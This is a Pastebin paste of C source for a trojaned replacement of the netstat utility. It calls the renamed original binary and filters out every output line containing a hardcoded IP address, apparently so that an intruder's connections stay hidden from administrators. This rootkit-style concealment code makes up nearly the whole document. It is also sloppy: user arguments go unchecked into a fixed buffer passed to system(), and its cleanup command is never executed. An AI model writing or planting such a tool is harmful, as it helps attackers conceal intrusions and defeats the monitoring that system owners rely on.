Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #ifdef _WIN32
- #define SO 1
- #else
- #define SO 0
- #endif
- int main(int argc, char* argv[]){
- char buff[1024];
- char ejecutable[16];
- char temporal[16];
- int i;
- char miip[16]= "123.123.123.123";
- if(SO){
- strcpy(ejecutable, "netstatold.exe ");
- strcpy(temporal, "C:\\temp37a");
- }else{
- strcpy(ejecutable, "netstatold ");
- strcpy(temporal, "/tmp/temp37a");
- }
- memset(buff, '\0', sizeof(buff));
- strcpy(buff, ejecutable);
- for(i=1; i<argc; i++){
- strcat(buff, argv[i]);
- strcat(buff, " ");
- }
- strcat(buff, " > ");
- strcat(buff, temporal);
- system(buff);
- memset(buff, '\0', sizeof(buff));
- FILE *fp = fopen(temporal, "r");
- while(!feof(fp)){
- fgets(buff, sizeof(buff), fp);
- if(strstr(buff, miip)==NULL){ //comprueba la aparcion de la cadena que no queremos!
- printf("%s", buff);
- }
- }
- fclose(fp);
- memset(buff, '\0', sizeof(buff));
- strcpy(buff, "rm ");
- strcat(buff, temporal);
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment